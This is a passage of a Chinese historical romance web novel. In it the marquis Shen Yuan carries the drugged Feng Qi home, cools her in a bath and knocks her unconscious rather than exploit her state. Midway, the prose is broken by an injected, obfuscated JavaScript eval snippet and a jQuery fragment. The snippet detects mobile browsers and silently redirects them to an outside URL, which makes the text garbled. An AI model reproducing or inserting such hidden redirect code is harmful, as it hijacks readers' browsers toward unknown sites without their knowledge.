千钧一发之际,一只手快速握住银钗,沈渊反应快得惊人,眼疾手快探出掌心,精准攥住了锋利的钗尖。
“咔嚓”细微闷响伴着细碎痛感炸开,锋利的钗头直接划破他宽厚的手掌,鲜血顷刻间浸透莹白的指缝,顺着钗身垂落,一滴滴砸落在马车铺就的绒毯之上,晕开点点暗红血花。
不等他下一步,凤七已经手扣向自己嗓子眼,欲将那药物吐出来。
下一瞬,沈渊长臂一收,反手将少女牢牢箍在怀中。
铁臂般的桎梏锁死她腰肢,掌心带着温热血腥的力道扣住她的手腕,让她动弹不得。
挣扎半天,凤七脱力,她浑身冷汗淋漓,额前碎发被汗浸透,湿漉漉贴在面上,呼吸急促紊乱,胸口剧烈起伏着。
意识混沌燥热,最后那一点理智也消失殆尽。她不再挣扎,头颅开始主动抵在沈渊胸膛前。
“我好难受……”
少女唇瓣微微张合,温热的气息一遍遍拂过他的衣襟,缠绵缱绻,挥之不散。
沈渊居高临下望着怀中人脆弱失控的模样,视线不受控制落在她微张的唇瓣上。喉结滚过一圈又一圈,他拼命压下心底翻涌的万般情绪。心疼、焦灼,还有那几乎要冲破理智的占有欲。
掌心的伤口还在源源不断渗出血来,灼痛阵阵,他却全然感知不到。
手臂收得更紧,低沉磁性的嗓音压到极柔,满是隐忍克制:“快到侯府了,你再撑片刻。”
马车之内,两人躯体紧紧相贴,呼吸彼此纠缠。手掌伤口漫开的淡淡血腥,再糅合少女身上独有的清甜气息,在这方寸车厢里彻底交织缠绕。
另一边酒楼之内。
廖维音与李川说完私话折返回来,抬手推开雅间房门。屋内桌椅尚且整齐,帘幕静静垂落,屋中却早已人去楼空,不见凤七踪影。
李川面上一喜,心想这是成了。他迅速堆起笑意,连忙打圆场:“想来两个年轻人耐不住久坐,出去街上闲逛游玩去了,正好多些相处的机会。”他伸手挽住廖维音,“我们不妨先回凤鸣楼静候便是。”
廖维音眉心紧紧蹙起,心底隐隐不安。他了解凤七是从不会招呼不打就走的。二人下楼,他拦住路过的店小二追问:“伙计,方才那间雅间的姑娘,你可曾见过出去?”
店小二连连摇头:“并未见过。”
廖维音道过谢,心事重重带李川赶回凤鸣楼。刚踏入戏楼,廖维音便急忙寻到何生:“小七可曾回来?”
何生手里还捏着半颗果子,闻言一愣:“小七不是跟着您一同出门的吗?”
一旁的李川早已顾不上担忧什么小七,小八的了。他目光被凤鸣楼恢弘阔绰的格局吸引,不住赞叹:“廖兄,你这凤鸣楼,当真是气派非凡。”
廖维音满心皆是凤七的安危,眉头始终舒展不开。
李川在一旁不停宽慰劝解:“年轻人出门逛逛,买点零碎小玩意,乃是常事,不必太过忧心。”
廖维音面上埋怨:“纵使两人出去,也理应同我说一声,这不吭不响的走了算什么?”他心中也只能祈祷,千万不要让凤七和李韶生出什么情愫。
与此同时,侯府门外。
马车尚未完全停稳,沈渊抱着浑身滚烫的凤七纵身跃下,大步向内疾行。
“季叔!季叔!”
季管家正在院中打理花圃,听见急促的呼喊,立刻放下手中修剪花枝的剪刀快步迎上来。看见沈渊怀中裹得严实的人影,只露出一双女子绣鞋,心中顿时一紧。
“侯爷,出什么事了?”
沈渊脚步不停,径直朝着自己的寝房走去,声音紧绷:“浴桶注满冷水,越快越好。”
季管家不敢耽搁,立刻领命前去安排。不多时,满满一桶冷水已经备好,他折返回来,贴心提议:“老奴这便去邓将军府,请一位可靠的侍女过来伺候……”
“来不及了。”沈渊打断他,“你守在门外,不许任何人靠近。”
季管家不敢多言,但还是吩咐小厮去人伢子那临时寻一名侍女,他想着侯爷带回的毕竟是女子,府中都是男子,近身伺候会多有不便。
寝房之内,四下静悄悄的。沈渊将裹在凤七身上的披风褪下。此刻药性已经抵达顶峰,凤七神志迷乱,双手不受控制地胡乱摩挲,滚烫的脸颊埋向沈渊颈侧,喃喃唤着他的名字:“……沈渊……沈渊……”
沈渊被叫的心中火苗越来越旺,他隐忍克制低声安抚:“忍一忍,再忍忍。”
他心中尚存清明。女子清白重于千金,如今她神志昏聩,倘若自己趁此越界,纵然得到人,也绝得不到她的心。
他抱着凤七走到浴桶边,小心翼翼将她放入盛满冷水的桶中。
刺骨寒凉兜头笼罩,灼烧般的燥热稍稍褪去几分,却依旧无法压□□内翻涌的药性。凤七脑袋一沉,整个人径直扎进水里,沉到桶底一动不动,贪婪攫取冷水带来的片刻舒缓,双手无意识撕扯身上的衣衫。
沈渊怕她闷在水中窒息,连忙伸手去捞。拉扯之间,凤七左肩的衣衫被顺势扯落,一片莹白细腻的肌肤暴露在灯火之下,肩头那一枚朱砂色的梅花胎记,清清楚楚映入他眼底。
他呆愣一瞬,将人从水里捞起,沉声唤她:“凤七,你听得到我说话吗?”
凤七眼神朦胧涣散,只是痴痴地笑。她抬起湿漉漉的双手,捧住沈渊的脸颊,眼神带着药性催生的肆意挑逗,语气娇媚迷离:“哪里来的俊俏小后生,生得这般好看。”
沈渊心头一震,便要伸手将她轻轻推开。
可凤七身子往前一倾,抓住他的手:“这手可是真好看,要是以后能一直让我摸就好了!”
那一瞬,时间仿佛骤然停滞。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865516|212178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈渊整个人僵在原地,浑身血液仿佛刹那凝固。方才掌心伤口的痛,心底的焦灼,尽数被这突如其来的触碰冲击得一干二净。他漆黑的眼眸里写满难以置信。
他从未设想过会有这样一幕发生。
凤七将脸贴在沈渊的手上蹭了起来,带着冷水的湿意,又混着少女独有的香气。方才拼命压制的情愫轰然翻涌上来,脑子里一片空白,竟忘了躲闪。
他一直克己守心,步步谨严。朝堂权谋,沙场杀伐,他永远冷静自持,从未有过半分失控失态。原本紧绷的肩背彻底放松,方才竭力压制的情愫如潮水般汹涌翻涌,将他彻底淹没。
他终究是贪了。
贪恋这猝不及防的温柔,贪恋她独有的清甜气息,贪恋这份唯独她能带给他的、乱人心绪的悸动。
下一秒,凤七双臂缓缓抬起,带着满身水汽,软软攀上了他的脖颈。她整个人顺势贴近,全然不顾分寸,借着药性肆意妄为。
她发丝湿漉漉地贴在脸颊与颈间,肌肤滚烫,冷热交织间,尽数蹭过沈渊的衣襟。
沈渊垂在身侧的手攥紧,他本可以推开,本可以守住底线,本可以一如往昔,做那个清冷自持,不近私情的定远侯。
就在凤七要起身更进一步时,他额头轻轻抵住她濡湿的额发:“小七……别闹了。”
话是规劝,动作却全是纵容。
可药性肆虐不休,凤七根本听不进去。短暂的安稳过后,胸腔的燥热再度卷土重来,比先前更甚。
沈渊深吸一口气,理智回笼。
他可以纵容自己片刻沉沦,却绝不能在她神志不清,身不由己的情况下,铸成无法挽回的过错。她此刻所有的亲近都是虚妄,清醒之后只会徒留悔恨与难堪,他护她一场,绝不能以这般方式委屈她。
万般挣扎拉扯之下,沈渊眼底只剩极致的隐忍与克制。他抬手,利落一记劈掌,精准落在凤七颈肩软穴处。
“咚”的一声轻闷响动。
凤七皱眉,脖颈传来一阵猝不及防的酸软麻木,意识瞬间出现断层。可她哪怕昏沉欲坠,骨子里的执拗与本能的不甘却未曾消减半分。在彻底脱力的前一瞬,她微微偏头,牙关用力一合,咬破了沈渊的薄唇。
细微的血腥味瞬间在唇齿间蔓延开来,与掌心未干的血味交织相融。
沈渊唇瓣传来清晰的刺痛,这让他更冷静几分。
下一瞬,凤七浑身的力气彻底被抽空,紧绷的身子一软,双眼阖上,彻底晕死在他的怀中。长睫垂落,掩去了眼底所有的燥热与慌乱,方才肆意妄为的模样褪去,只剩一脸安然乖巧。
寝屋瞬间归于死寂。
沈渊维持着拥着她的姿势,久久未动。
门外忽然传来季管家的声音:“侯爷,老奴找来一名女婢,让她进去为姑娘换衣梳洗吧。”